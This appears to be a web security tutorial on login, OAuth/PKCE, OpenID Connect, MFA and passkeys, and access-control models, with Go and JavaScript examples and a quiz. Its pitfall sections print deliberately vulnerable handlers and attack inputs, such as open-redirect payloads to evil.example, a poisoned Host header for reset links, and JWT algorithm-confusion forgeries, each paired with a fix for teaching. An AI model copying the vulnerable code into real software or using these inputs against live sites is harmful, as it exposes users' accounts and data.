printer.example: “Import from PhotoCloud” ▸ click
Client appprinter.example
verifier = dBjftJeZ…EjXk 🤫
state = af0ifjsldkj
challenge = SHA256(verifier) = E9Melhoa…w-cM
Authorization serverauth.photos.example
empty
Resource serverapi.photos.example
empty
Ada wants PrintMyPics (printer.example) to print photos stored at PhotoCloud. She will not give PrintMyPics her PhotoCloud password. First, the app makes two random values and saves them in Ada's session: a state and a secret code_verifier. It computes the code_challenge = SHA-256 hash of the verifier.
1 / 9

Why the detour through a code, instead of sending the token straight back in the redirect? Because that redirect URL travels through the browser: history, extensions, logs, the Referer header. A short-lived authorization code is all that passes through there; the real tokens come back on a direct server-to-server call the browser never sees.

Two parameters protect that detour:

  • state — a random value tied to Ada's session, checked on the way back. It stops an attacker from feeding Ada's browser a callback they started (which would connect their PhotoCloud account to Ada's PrintMyPics account).
  • PKCE — the app keeps a random code_verifier secret and sends only its SHA-256 hash, the code_challenge, at the start. To swap the code for tokens it must show the verifier. A thief with only the code can't. It costs a few lines. The OAuth security best-practice document (RFC 9700, "Best Current Practice for OAuth 2.0 Security") requires it for public clients — apps that can't keep a secret, like mobile apps and SPAs — and recommends it for all the others. So just always use it.

In code

Go has golang.org/x/oauth2, which builds the URL, generates the verifier and does the exchange. The JavaScript version is written out by hand so every parameter is visible; in production you'd use a library such as openid-client.

oauth.go
var conf = &oauth2.Config{
	ClientID:     "printer-app",
	ClientSecret: os.Getenv("PHOTOCLOUD_CLIENT_SECRET"), // a server-side app also has a secret
	RedirectURL:  "https://printer.example/callback",
	Scopes:       []string{"photos.read"},
	Endpoint: oauth2.Endpoint{
		AuthURL:  "https://auth.photos.example/authorize",
		TokenURL: "https://auth.photos.example/token",
	},
}

// ① Start: make state + PKCE verifier, remember them in this user's session, redirect.
func startImport(w http.ResponseWriter, r *http.Request) {
	state, verifier := rand.Text(), oauth2.GenerateVerifier()
	sess := sessionFor(r) // stand-in for your session store from §03
	sess.Set("oauth_state", state)
	sess.Set("oauth_verifier", verifier) // stays on the server
	url := conf.AuthCodeURL(state, oauth2.S256ChallengeOption(verifier)) // sends only the hash
	http.Redirect(w, r, url, http.StatusFound)
}

// ② Callback: check state, then trade the code (+ verifier) for tokens.
func callback(w http.ResponseWriter, r *http.Request) {
	sess := sessionFor(r)
	state, verifier := sess.Pop("oauth_state"), sess.Pop("oauth_verifier") // single use
	if state == "" || r.URL.Query().Get("state") != state {
		http.Error(w, "state mismatch", http.StatusBadRequest)
		return
	}
	tok, err := conf.Exchange(r.Context(), r.URL.Query().Get("code"), oauth2.VerifierOption(verifier))
	if err != nil {
		http.Error(w, "PhotoCloud said no", http.StatusBadGateway)
		return
	}
	saveTokens(sess, tok) // tok.AccessToken, tok.RefreshToken, tok.Expiry
	http.Redirect(w, r, "/albums", http.StatusFound)
}

Against a local test token endpoint, the thief's exchange (right code, wrong verifier) fails in both languages:

Go:   oauth2: "invalid_grant" "PKCE verification failed"
Node: token endpoint: 400 {"error":"invalid_grant","error_description":"PKCE verification failed"}

And you can check the hash by hand with the example values from the PKCE spec (RFC 7636): sha256("dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk") in base64url is E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM — both programs print exactly that.

Machines with no user: client credentials

A nightly billing job calling an invoices API has no Ada to click "Allow". It uses the client credentials flow: the job authenticates as itself and gets a token for itself.

import "golang.org/x/oauth2/clientcredentials"

cc := clientcredentials.Config{
	ClientID:     "billing-job",
	ClientSecret: os.Getenv("BILLING_JOB_SECRET"),
	TokenURL:     "https://auth.example.com/token",
	Scopes:       []string{"invoices.write"},
}
client := cc.Client(ctx) // an *http.Client that fetches, caches and renews the token
resp, err := client.Get("https://invoices.example.com/api/invoices")

Flows to avoid

  • Implicit flow (response_type=token): put the access token straight into the redirect URL. Leaky, no PKCE possible. RFC 9700 says clients should not use it; use code + PKCE instead.
  • Password grant: the app collects the user's password and sends it to the token endpoint — the very thing OAuth was invented to stop. RFC 9700 says it must not be used.

What OAuth is not

OAuth answers "may this app read Ada's photos?". It never promises to tell the app who Ada is. An access token is addressed to the API; the app isn't even supposed to read it, and it may be an opaque random string.

Using "I got an access token" as proof of login is a classic bug. A malicious app that Ada once used legitimately holds a valid access token for her. If your app accepts "here's an access token, log me in", that app can log into your app as Ada. Logging in needs a token addressed to your app, saying who logged in — which is exactly what OpenID Connect adds (§08).

Practitioner§08

OpenID Connect: “Sign in with…”

In one sentenceOpenID Connect is OAuth plus one extra token — the ID token — a signed note addressed to your app that says who just logged in.

§07 ended with a gap: OAuth hands your app a key to an API, not a name. OpenID Connect (OIDC) fills it. It's the same authorization-code-plus-PKCE flow, with three additions:

  1. The app asks for the scope openid (plus email, profile if it wants them).
  2. It sends a random nonce along with state.
  3. The token response contains an extra field, id_token — a JWT.

That's "Sign in with Google": Google is the identity provider (IdP), and your app learns who Ada is without ever handling a Google password.

One login, two tokens, two readers
accounts.google · identity provider — sends both tokens to your app
↓ id_token (aud = my-client-id)  +  access_token (aud = Calendar API)
your app · verifies the id_token, reads sub, starts a session
↓ Authorization: Bearer access_token — forwarded, never parsed. Never send the id_token.
Calendar API · resource server, verifies the access token
The ID token is a letter to your app (aud = your client_id): read it once at login, then start your own session. The access token is a letter to the API (aud = the API): your app just forwards it.

ID token vs access token

ID tokenAccess token
SaysWho logged in, when, howWhat the holder may do (scopes)
Addressed to (aud)Your app (aud = your client_id)The API
Who reads itYour app, once, at loginThe API, on every call
FormatAlways a JWTOften a JWT, may be an opaque string
Send it to APIs?NeverThat's its job

Here's a decoded ID token (from a local test provider; Google's look the same, with iss: "https://accounts.google.com"):

{
  "iss": "http://localhost:18433",
  "sub": "248289761001",
  "aud": "my-client-id",
  "iat": 1793380792,
  "exp": 1793381092,
  "nonce": "n-0S6_WzA2Mj",
  "email": "ada@example.com",
  "email_verified": true
}

Validating an ID token

It's a JWT, so every §05 check applies — plus the nonce, which is OIDC's own:

  1. Signature, with a pinned algorithm (§05; the discovery document lists what the provider uses, e.g. RS256) and the provider's JWKS. Don't build the key URL yourself: every provider publishes a discovery document at <issuer>/.well-known/openid-configuration, and its jwks_uri says where the keys are. (Google's is https://www.googleapis.com/oauth2/v3/certs — not under the issuer at all.)
  2. iss equals the provider you configured.
  3. aud contains your client_id. Otherwise it's an ID token some other app received — maybe a malicious one Ada also uses — being replayed at yours. If aud lists several apps, the azp ("authorized party") claim must be yours.
  4. exp is in the future.
  5. nonce equals the one you stored in Ada's session when you started the login. This ties the token to this login attempt, so an old or stolen ID token can't be pasted in.

Go has github.com/coreos/go-oidc/v3 (it does discovery, JWKS caching and checks 1–4; you add azp and the nonce). In Node, fetch the discovery document once at startup and hand its jwks_uri to jose's createRemoteJWKSet.

idtoken.go
import (
	"context"
	"errors"
	"net/http"

	"github.com/coreos/go-oidc/v3/oidc"
	"golang.org/x/oauth2"
)

const clientID = "my-client-id"

func verifyIDToken(ctx context.Context, raw, expectedNonce string) (*oidc.IDToken, error) {
	// Reads /.well-known/openid-configuration, then fetches and caches the JWKS from its jwks_uri.
	// (Real code: create the provider and verifier once at startup, not per login.)
	provider, err := oidc.NewProvider(ctx, "http://localhost:18433") // e.g. https://accounts.google.com
	if err != nil {
		return nil, err
	}
	verifier := provider.Verifier(&oidc.Config{
		ClientID:             clientID,             // checks aud contains your client ID
		SupportedSigningAlgs: []string{oidc.RS256}, // pinned, like §05
	})
	tok, err := verifier.Verify(ctx, raw) // signature, iss, aud, exp
	if err != nil {
		return nil, err
	}
	var extra struct {
		Azp string `json:"azp"` // "authorized party"
	}
	if err := tok.Claims(&extra); err != nil {
		return nil, err
	}
	if len(tok.Audience) > 1 && extra.Azp != clientID { // several audiences → azp must be us
		return nil, errors.New("azp mismatch")
	}
	if tok.Nonce != expectedNonce { // go-oidc does NOT check the nonce for you
		return nil, errors.New("nonce mismatch")
	}
	return tok, nil
}

// In the callback handler, after the code exchange from §07:
func finishLogin(w http.ResponseWriter, r *http.Request, tok *oauth2.Token, nonce string) {
	raw, _ := tok.Extra("id_token").(string) // the extra field in the token response
	idTok, err := verifyIDToken(r.Context(), raw, nonce)
	if err != nil {
		http.Error(w, "login failed", http.StatusUnauthorized)
		return
	}
	var claims struct {
		Email         string `json:"email"`
		EmailVerified bool   `json:"email_verified"`
	}
	if err := idTok.Claims(&claims); err != nil {
		http.Error(w, "login failed", http.StatusUnauthorized)
		return
	}
	// look up or create the user by (idTok.Issuer, idTok.Subject), then start a session (§03)
}

Real output against a local test provider that serves its keys at /certs (so a hard-coded /jwks URL would fail with ERR_JOSE_GENERIC Expected 200 OK from the JSON Web Key Set HTTP response): a good token gives the user ID 248289761001 in Go and the claims above in Node. The failures:

wrong nonce:                    nonce mismatch
aud = [my-client-id, other-app],
  azp = other-app:              azp mismatch
checked as another app (Go):    oidc: expected audience "someone-elses-app" got ["my-client-id"]

After validation: your own session

Once the ID token checks out, its job is done. Look up (or create) the user by (iss, sub), then start a normal session exactly like §03 — new session ID, __Host- cookie. Don't keep the ID token as a login cookie, and don't send it to APIs.

If you need more profile data than the ID token holds, call the provider's UserInfo endpoint (its URL is in the discovery document) with the access token: GET /userinfo with Authorization: Bearer … returns claims like name and picture.

Practitioner§09

MFA and passkeys

In one sentenceA second factor stops someone who only has your password. Only a phishing-resistant factor — a passkey — also stops someone who tricks you into logging in for them.

Multi-factor authentication asks for two different kinds of proof:

  • something you know — a password;
  • something you have — a phone, a security key;
  • something you are — a fingerprint or face, usually just unlocking the "have" factor on your device.

The point is independence: a password leaked in someone else's breach (and replayed by credential stuffing) is useless without your phone.

How an authenticator-app code works

The 6 digits in Google Authenticator or 1Password are TOTP. At setup, the site and the app agree on a random secret (that's what the QR code contains). After that, both compute the same code from the secret and the current 30-second window — no network needed:

totp.go
import (
	"crypto/hmac"
	"crypto/sha1"
	"encoding/binary"
	"fmt"
	"time"
)

// TOTP (RFC 6238): a 6-digit code from a shared secret and the current 30-second window.
func totp(secret []byte, t time.Time) string {
	counter := uint64(t.Unix() / 30) // same number on phone and server for 30 s
	msg := binary.BigEndian.AppendUint64(nil, counter)

	mac := hmac.New(sha1.New, secret)
	mac.Write(msg)
	sum := mac.Sum(nil) // 20 bytes

	off := sum[len(sum)-1] & 0x0f // "dynamic truncation": pick 4 bytes…
	n := binary.BigEndian.Uint32(sum[off:off+4]) & 0x7fffffff
	return fmt.Sprintf("%06d", n%1_000_000) // …and keep the last 6 digits
}

Both print 287082 for Unix time 59 and 081804 for 1111111109 — the last six digits of the official test values in RFC 6238. The server side adds three things: accept the previous and next window too (phones' clocks drift), reject a code that was already used, and rate-limit attempts — six digits is only a million possibilities.

The weakness every code shares

SMS codes have extra problems — an attacker can talk your carrier into moving your number to their SIM ("SIM swap") — but authenticator-app codes and push prompts share a deeper one: a human reads something and types or taps it. A phishing proxy sits between Ada and the real site and relays it all in real time. Off-the-shelf phishing kits do exactly this. Run the same attack against each factor:

Phishing proxy vs second factors
Same attack every time: a look-alike site that relays everything to the real one. Pick Ada's login method.
…

Passkeys: the browser checks the domain

A passkey is a key pair (see public-key crypto) made for one site, stored by the phone, laptop or password manager, and unlocked with a fingerprint, face or PIN. The standard behind it is WebAuthn.

  • Sign-up: the device creates a key pair for example.com and gives the site only the public key.
  • Login: the site sends a random challenge; the device signs it with the private key. The browser adds the page's origin into what gets signed, and only offers passkeys whose site matches the page's domain.

So there's no shared secret to steal from the server, nothing for Ada to type, and a look-alike domain gets nothing usable — the browser, not the human, compares the domain. That's what "phishing-resistant" means. In the browser it's one call:

login.js (browser)
const options = await (await fetch("/passkey/options")).json(); // server makes a fresh random challenge
const assertion = await navigator.credentials.get({
  publicKey: {
    challenge: base64urlToBytes(options.challenge), // single-use, from the server
    rpId: "example.com",                            // the site this passkey belongs to
    userVerification: "required",                   // fingerprint / face / PIN on the device
  },
});
await fetch("/passkey/verify", { method: "POST", body: JSON.stringify(serialize(assertion)) });

(base64urlToBytes and serialize are small helpers your WebAuthn library provides.) On the server, don't write the verification yourself: it parses a binary format and checks the challenge, origin, signature and a signature counter. Use github.com/go-webauthn/webauthn in Go or @simplewebauthn/server in Node.

Practitioner§10

Authorization: roles, attributes, relationships

In one sentenceAuthentication happens once per request, at the door. Authorization happens once per object, next to the data — and the answer is no unless a rule says yes.

Back to the invoice bug from §01. Here's the server that had it, and the one-line fix, in full. A middleware does authentication for every route; the handler does authorization for the one invoice it loaded:

main.go
package main

import (
	"context"
	"encoding/json"
	"log"
	"net/http"
	"sync"
)

type Invoice struct {
	ID      string `json:"id"`
	OwnerID string `json:"owner_id"`
	Total   int    `json:"total_cents"`
}

var (
	mu       sync.Mutex
	sessions = map[string]string{"sess-ada": "u_1", "sess-bob": "u_2"} // session ID → user ID
	invoices = map[string]Invoice{
		"inv_1001": {"inv_1001", "u_1", 4200},
		"inv_1002": {"inv_1002", "u_2", 99000},
	}
)

type ctxKey struct{}

// requireUser is middleware: AuthN happens here, once, for every route it wraps.
func requireUser(next http.HandlerFunc) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		c, err := r.Cookie("__Host-sid")
		mu.Lock()
		userID, ok := "", false
		if err == nil {
			userID, ok = sessions[c.Value]
		}
		mu.Unlock()
		if !ok {
			http.Error(w, "not logged in", http.StatusUnauthorized) // 401: who are you?
			return
		}
		ctx := context.WithValue(r.Context(), ctxKey{}, userID) // pass "who" to the handler
		next(w, r.WithContext(ctx))
	}
}

func currentUser(r *http.Request) string { return r.Context().Value(ctxKey{}).(string) }

// ✕ VULNERABLE: logged in? yes. Is it YOUR invoice? never asked.
func getInvoiceLeaky(w http.ResponseWriter, r *http.Request) {
	inv, ok := invoices[r.PathValue("id")]
	if !ok {
		http.NotFound(w, r)
		return
	}
	json.NewEncoder(w).Encode(inv)
}

// ✓ FIXED: the object-level check lives next to the data.
func getInvoice(w http.ResponseWriter, r *http.Request) {
	inv, ok := invoices[r.PathValue("id")]
	if !ok || inv.OwnerID != currentUser(r) { // ← AuthZ: is this yours?
		http.NotFound(w, r) // 404, not 403: don't confirm it exists
		return
	}
	json.NewEncoder(w).Encode(inv)
}

func main() {
	http.HandleFunc("GET /leaky/invoices/{id}", requireUser(getInvoiceLeaky))
	http.HandleFunc("GET /invoices/{id}", requireUser(getInvoice))
	log.Fatal(http.ListenAndServe("localhost:8080", nil))
}

Logged in as Ada (u_1), real output from the Go server:

$ curl -b "__Host-sid=sess-ada" localhost:8080/leaky/invoices/inv_1002
{"id":"inv_1002","owner_id":"u_2","total_cents":99000}          ← Bob's invoice. 200.

$ curl -b "__Host-sid=sess-ada" localhost:8080/invoices/inv_1001
{"id":"inv_1001","owner_id":"u_1","total_cents":4200}

$ curl -b "__Host-sid=sess-ada" localhost:8080/invoices/inv_1002
404 page not found

$ curl localhost:8080/invoices/inv_1001
not logged in                                                    ← 401

Where each check lives

CheckLives inWhy there
Who are you? (session/JWT valid)Middleware, or the API gatewayThe same for every route, so do it once and never forget it
Coarse rules ("only admins reach /admin/*")Middleware / routerDoesn't need the object
May you touch this object?Handler or service layer, right after loading itNeeds the object's owner, tenant, status — which only exist once it's loaded
Which objects can you even see?The database queryLists and searches must filter, not fetch-all-then-check

The last row matters for lists. GET /invoices should never load every invoice and filter in code; put the rule into the query so the database only returns rows you may see:

-- ✕ every invoice of every customer, then hope the code filters
SELECT * FROM invoices ORDER BY created_at DESC LIMIT 50;

-- ✓ the authorization rule is part of the query
SELECT * FROM invoices WHERE owner_id = $1 ORDER BY created_at DESC LIMIT 50;

In a Multi-tenant app, tenant_id = $1 goes into every query (or into a database row-level security policy), because one missed WHERE leaks a whole customer's data to another.

Three ways to write the rules

Once there are more rules than "owner only", you need a model. Try the same request under each:

Policy playground
Same question, three ways of answering it. Who wants to do what, to which invoice?
who
does
to
DENY
you: member/sales · invoice: owner Bob, sales, $9,900, sent
rules for “read”: owner = Bob | you're a manager in sales, the invoice's department | auditors may read everything | admins may read everything
none matched → deny (by default)
Try: Ada · read · inv_1002 under RBAC, then ABAC. Bob · approve · inv_1002 (his own). Carol · approve · inv_1001 (other department).
  • RBAC (role-based) — permissions go to roles, roles to users: managers may approve. Simple and easy to audit ("who can approve?" = "who's a manager?"). Its blind spot: roles say what kind of action, never which object. Under pure RBAC, Ada the member can read Bob's invoice — that's BOLA again.
  • ABAC (attribute-based) — rules over attributes of the user, the object and the situation: a manager may approve invoices from their own department, not their own, under $10,000. Very expressive; harder to answer "who can do X?".
  • ReBAC (relationship-based) — access follows a graph of relationships: owner of, member of, shared with. It's how Google Docs sharing works ("anyone in the folder's team can edit"). Google described its version, Zanzibar, in a 2019 paper; OpenFGA and SpiceDB are open-source systems built on the idea.

Most real systems combine them: roles for coarse features, attributes or relationships for object-level checks.

Writing the rules down: one function, deny by default

Whatever the model, put the rules in one place that every handler calls, and make "no" the answer when nothing matched (deny by default):

policy.go
type User struct{ ID, Role, Dept string }
type Invoice struct {
	OwnerID, Dept, Status string
	Cents                 int
}

// Can is the ONLY place that decides. Handlers call it; they never re-implement rules.
func Can(u User, action string, inv Invoice) bool {
	switch action {
	case "read":
		return inv.OwnerID == u.ID || (u.Role == "manager" && u.Dept == inv.Dept) || u.Role == "auditor"
	case "edit":
		return inv.OwnerID == u.ID && inv.Status == "draft"
	case "approve":
		return u.Role == "manager" && u.Dept == inv.Dept && inv.OwnerID != u.ID && inv.Cents <= 1_000_000
	}
	return false // ← unknown action, or a new one nobody wrote a rule for: deny
}

The return false at the end is the important line. Someone adds a "refund" action next year and forgets the rule: with deny-by-default, refunds are blocked for everyone (a bug report); with allow-by-default, they're open to everyone (an incident). Pair it with Least privilege: new roles start with nothing and get permissions added.

Staff-level§11

Staff-level: auth in production

In one sentenceIn production, the login form is the most attacked endpoint you own, and every "helpful" difference in its answers is a gift to the attacker.

Brute force and credential stuffing

Two attacks hit every login form on the internet:

  • Brute force: many passwords against one account.
  • Credential stuffing: one leaked password each against millions of accounts, from thousands of IP addresses, hoping people reused passwords. This is the common one.

The defenses stack (Defense in depth):

  1. Slow hashing (bcrypt/Argon2, Crypto Basics) makes each guess cost the attacker server time and makes a stolen database slow to crack.
  2. Rate limits on two keys: per account (stops brute force) and per IP or network (slows stuffing). Rate Limiting covers choosing keys and the algorithms.
  3. Don't hard-lock accounts. "Locked after 5 failures" lets anyone lock out your CEO by typing wrong passwords — a denial of service. Prefer growing delays, a CAPTCHA after a few failures, and an email to the owner.
  4. Refuse known-breached passwords at sign-up and password change. Have I Been Pwned's range API lets you check without sending the password: you send the first 5 hex characters of its SHA-1 hash and compare the returned list locally.
  5. MFA and passkeys (§09) make a correct password insufficient on its own.

Account enumeration

If your site answers differently for "no such account" and "wrong password", an attacker can test a list of emails and learn who your users are — a ready-made target list. That's account enumeration, and it hides in three endpoints, not one:

Who has an account here?
An attacker sends four emails to an endpoint and compares the answers. Two of the emails have accounts.
emailstatusmessagetime
Press probe.
Login times use this page's measurement: bcrypt cost 10 ≈ 54 ms vs a map miss ≈ 70 ns (one test machine; yours will differ). Other times are illustrative.

The login leak isn't only the message. Measured on one test machine (Go, bcrypt cost 10, average of 20 runs) with a handler that returns early for unknown emails:

ada@example.com     53.7ms    ← exists: bcrypt ran
nobody@example.com  69ns      ← doesn't: returned immediately

That's a difference of nearly a million times, visible through any network. The dummyHash compare in §02 is the fix: unknown emails do the same slow work.

Password reset: a login by email

A reset link logs someone in, so treat the token like a password:

reset.go
type reset struct {
	UserID  string
	Expires time.Time
}

var resets = map[string]reset{} // sha256(token) → reset (a DB table in production)

// RequestReset answers the same way whether or not the email exists (the handler
// always says "If an account exists, we've emailed a link").
func RequestReset(email string) {
	u, ok := users[email]
	if !ok {
		return
	}
	token := rand.Text() // 128 random bits
	resets[hashToken(token)] = reset{UserID: u.ID, Expires: time.Now().Add(30 * time.Minute)}
	enqueueEmail(email, "https://shop.example/reset#token="+token) // # keeps it out of server logs
	// enqueue, don't send inline: sending takes time, and that time would reveal the account exists
}

func CompleteReset(token, newPassword string) error {
	key := hashToken(token)
	r, ok := resets[key]
	delete(resets, key) // single use, even if what follows fails
	if !ok || time.Now().After(r.Expires) {
		return errors.New("this link has expired; request a new one")
	}
	hash, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)
	if err != nil {
		return err
	}
	setPassword(r.UserID, hash)
	deleteAllSessions(r.UserID) // whoever else was logged in is now out
	return nil
}

The rules, each closing a real hole:

  • Random, single-use, short-lived (15–60 min). A reset token in an old email shouldn't work next month.
  • Same answer, same speed. Reply identically whether or not the email exists, and put the email on a background queue so the response time doesn't give it away either.
  • Store only its hash. A read-only database leak must not hand out working reset links.
  • Keep it out of logs. Put the token after # (the fragment): browsers never send that part to the server, so it can't land in access logs or a Referer header. The reset page's JavaScript reads it and POSTs it.
  • Log out everywhere afterwards. People reset passwords because they suspect someone got in.
  • Build links from config, not the request. If you build the link from the request's Host header, an attacker can request a reset for your user with Host: evil.example and get a link to their own site emailed to your user.

Session storage at scale

A session lookup happens on every request, so the store is on your critical path:

  • One shared store, not sticky sessions: pinning each user to one server breaks on every deploy and failover.
  • Redis is the usual choice. Run it with a replica; if it's down, everyone is logged out (or every request fails). Decide which one you want before the outage.
  • Keep sessions small — the user ID, expiry and a few flags. Load the user's details from the database (or a cache) when you need them, so a permission change isn't stuck inside old sessions.
  • Keep an index per user (user:u_1:sessions) so "log out everywhere" and "show my active devices" are one lookup.

Auth at the gateway vs in the service

An API gateway can verify tokens once for every service behind it. That's good for authentication — one implementation, rate limits in one place. It does not remove authorization from the services: only the invoices service knows who owns inv_1002.

How the gateway passes the identity on matters:

  • A plain header like X-User-Id: u_1 works only if nothing but the gateway can reach the service. If anyone can send traffic straight to it, they can write that header themselves. Strip incoming copies of the header at the gateway, and lock the service's network down.
  • Better: forward a signed token — the original JWT, or a fresh short-lived one minted for that one service (token exchange). The service verifies it like any JWT (§05), with aud set to itself.

Service-to-service: zero trust

"It's on the internal network, so it's trusted" is how one compromised pod (one running copy of a service in Kubernetes) becomes a compromised company. Zero trust means every service call carries an identity that is checked, same as a user's:

  • Workload identity via mTLS. Each service gets a short-lived certificate naming it, e.g. a SPIFFE ID spiffe://example.com/ns/prod/sa/billing; both sides of every connection verify each other (mTLS and termination). A Service mesh such as Istio or Linkerd can do this without code changes.
  • Authorization between services, not just authentication: "billing may call GET /invoices; the recommendations service may not". Deny by default here too.
  • Propagate the end user as a token (above), so the invoices service can still check "is this Ada's invoice?" when the call came through billing.
Practitioner§12

Pitfalls gallery

#1

Checking “logged in” and calling it authorization

The §01 bug. Every handler that loads something by ID must check the caller may touch that thing (§10).

✕ Don't
inv, ok := invoices[r.PathValue("id")]
if !ok {
	http.NotFound(w, r)
	return
}
json.NewEncoder(w).Encode(inv) // anyone logged in
✓ Do
inv, ok := invoices[r.PathValue("id")]
if !ok || !Can(currentUser(r), "read", inv) {
	http.NotFound(w, r) // 404: don't confirm it exists
	return
}
json.NewEncoder(w).Encode(inv)
#2

Taking the user's identity from the request body

If the client says who it is, the client can say it's someone else. Identity comes from the verified session or token, never from a form field, query parameter or a header the client controls.

✕ Don't
// POST /transfer  { "from": "u_1", "to": "u_9", "amount": 500 }
await transfer(body.from, body.to, body.amount); // "from" is whatever the client typed
✓ Do
// POST /transfer  { "to": "u_9", "amount": 500 }
const userId = await requireSession(req);     // from the verified session
await transfer(userId, body.to, body.amount); // the client can't choose "from"
#3

Mass assignment: the user edits a field they shouldn't

"Update my profile" decodes the JSON body straight into the user record. The user adds "role": "admin" to the body, and now they are one. That's authorization on fields, not just objects.

✕ Don't
var u User // has Name, Email, Role, …
json.NewDecoder(r.Body).Decode(&u) // decodes ANY field sent
db.SaveUser(currentUser(r), u)
✓ Do
var in struct { // only what users may change
	Name  string `json:"name"`
	Email string `json:"email"`
}
json.NewDecoder(r.Body).Decode(&in)
db.UpdateProfile(currentUser(r), in.Name, in.Email)

(Error handling trimmed in both; real code checks Decode's error. And changing an email address should require confirming the new address before it takes effect.)

#4

Trusting what the browser says about permissions

if (localStorage.isAdmin) showAdminButton() is fine for showing a button. It's not security: anyone can open dev tools and set it. The server must re-check on every request to the admin API. The UI hides things; the server forbids them.

#5

Decoding a JWT instead of verifying it, or letting it pick its algorithm

decodeJwt, jwt.decode, ParseUnverified read a token without checking anything. And a verifier that reads alg from the token can be fed none or an HS256-signed-with-the-public-key forgery. Verify with a library, an alg allow-list, and iss/aud/exp checks (§05).

#6

A 24-hour JWT with no way to revoke it

"Log out" deletes the token from the browser — but a copy stolen an hour ago works until tomorrow. Keep access tokens to minutes, use rotating refresh tokens, and keep a denylist for emergencies (§06). Or use a session (§03).

#7

Tokens in URLs, logs and localStorage

/download?token=eyJ… ends up in browser history, proxy logs, analytics and the Referer header sent to other sites. localStorage is readable by any script on the page. Send tokens in the Authorization header or an HttpOnly cookie, and scrub Authorization and Cookie from request logs.

#8

An open redirect after login

/login?next=/orders is convenient. /login?next=https://examp1e.com/login sends your freshly logged-in user to a phishing page that looks like yours — with your real domain in the original link, so it looks trustworthy. Only redirect to paths on your own site, and check the path after the URL parser has cleaned it up, because a path can turn into a different host on the way.

const ORIGIN = "https://shop.example";

// ✕ VULNERABLE: redirects anywhere at all.
res.writeHead(302, { location: query.get("next") }).end();

// ✓ FIXED: returns a path on our own site, or "/".
function safeNext(raw) {
  let u;
  try {
    u = new URL(raw ?? "/", ORIGIN); // resolves relative paths, dot segments, backslashes
  } catch {
    return "/";
  }
  if (u.origin !== ORIGIN) return "/"; // another host or scheme (https://evil, javascript:…)
  const target = u.pathname + u.search + u.hash;
  if (target.startsWith("//") || target.startsWith("/\\")) return "/"; // browsers read these as a host
  return target;
}
res.writeHead(302, { location: safeNext(query.get("next")) }).end();

Why the last check matters: the parser turns /.//evil.example into the path //evil.example, which is still "our origin" to the parser — but sent as a Location header, a browser reads //evil.example as another host. An earlier version of this page missed that. Real results from both functions:

next=Node 22Go 1.24
/orders?page=2/orders?page=2/orders?page=2
/orders#top/orders#top/orders#top
orders/orders/orders
//evil.example//
/\evil.example//%5Cevil.example (an escaped \, so a path on our site)
/.//evil.example//
/x/..//evil.example//
https://evil.example/a//
javascript:alert(1)//
%2F%2Fevil.example/%2F%2Fevil.example (a path on our site)/%2F%2Fevil.example
/ + tab + /evil.example//
https://shop.example.evil.example///
#9

Comparing secrets with ==

if apiKey == expected stops at the first different byte, so the time it takes leaks how much of the guess was right — in principle letting an attacker find the key one byte at a time. Use a constant-time comparison: subtle.ConstantTimeCompare in Go, crypto.timingSafeEqual in Node (as verifyPassword did in §02). Better still, store API keys hashed and look up the hash. Crypto Basics covers why.

#10

Same session ID before and after login

Without a new ID at login, a planted session ID becomes a logged-in one: session fixation (§03). Issue a fresh ID whenever privilege changes — login, logout, sudo mode, password change.

#11

Using an OAuth access token as proof of login

"The client sent a valid Google access token, so log them in" lets any app that ever got a token for that user log in as them — the token wasn't addressed to you. Log in with OIDC: verify the ID token, check aud is your client ID, check the nonce (§08). And always send state and PKCE (§07).

#12

Logout that only clears the cookie

The browser forgets the cookie, but the session ID is still valid on the server. Anyone who copied it — malware, a shared computer's cookie jar, a log file — stays logged in. Delete the session server-side first, then clear the cookie (§03).

Practitioner§13

Check yourself

Predict the answer before you click. Each one is covered above: Q1 in §01 and §10, Q2 in §03, Q3–Q4 in §05, Q5 in §06, Q6 in §07, Q7 in §08.

QUESTION 1 / 7
Which status code?

Ada is logged in (valid session). She requests GET /invoices/inv_1002, which belongs to Bob and is private. What should the server answer?

QUESTION 2 / 7
Will the browser store this cookie?
Set-Cookie: __Host-sid=ODABI2O7; Path=/; HttpOnly; SameSite=Lax
QUESTION 3 / 7
Predict the output
// token was signed with role "user"; the attacker edited the payload to role "admin"
// and kept the original signature
console.log(decodeJwt(forged).role);
await jwtVerify(forged, secret, { algorithms: ["HS256"] });
console.log("verified");
QUESTION 4 / 7
The keyfunc that returns bytes
// The server signs with Ed25519. Its keyfunc returns the public key's raw bytes.
// An attacker sends an HS256 token, HMAC'd with those same public bytes.
_, err := jwt.Parse(forged, func(t *jwt.Token) (any, error) {
    return []byte(pub), nil
})
fmt.Println(err)
QUESTION 5 / 7
Rotation and a stolen refresh token

Malware copies Ada's refresh token RT1. Ada's app then refreshes normally (RT1 → RT2). An hour later the attacker sends RT1. With rotation and reuse detection, what happens?

QUESTION 6 / 7
What actually stops the code thief?

In the authorization code flow, an attacker copies code=SplxlO… from the redirect URL and posts it to the token endpoint first.

QUESTION 7 / 7
Is this ID token OK to log in with?

Signature valid against Google's JWKS, iss is https://accounts.google.com, exp is in the future, nonce matches — but aud is another-app.apps.googleusercontent.com, not your client ID.

Answered 0 / 7
Foundations§14

Cheat sheet

🪪
Two questionsAuthN: who are you? → 401. AuthZ: may you do this to this object? → 403, or 404 if existence is private.
🔑
Password loginCompare against a slow hash; same message and timing for every failure; random session ID from a CSPRNG.
🍪
The session cookie__Host-sid=…; Path=/; Max-Age=…; HttpOnly; Secure; SameSite=Lax. No Domain.
🔄
New ID when privilege changesLogin, logout, sudo, password change → delete the old session, issue a new ID.
🚪
Logout is server-sideDelete the session from the store, then clear the cookie. Offer "log out everywhere".
✉️
A JWT is a postcard with a sealAnyone can read it. Never put secrets in it. Decoding ≠ verifying.
📌
Verify JWTs strictlyPinned alg, key you chose (JWKS by kid), exp required, nbf, iss, aud, seconds of leeway.
⏳
Short access, rotating refreshAccess tokens: minutes. Refresh tokens: hashed in the DB, rotated on use, reuse revokes the family.
🔀
OAuth = delegationAuthorization code + PKCE + state, exact redirect URIs. Client credentials for machines. No implicit, no password grant.
👤
Login = OIDCVerify the ID token: signature, iss, aud = your client ID, exp, nonce. Key users by (iss, sub). Then start your own session.
🛡️
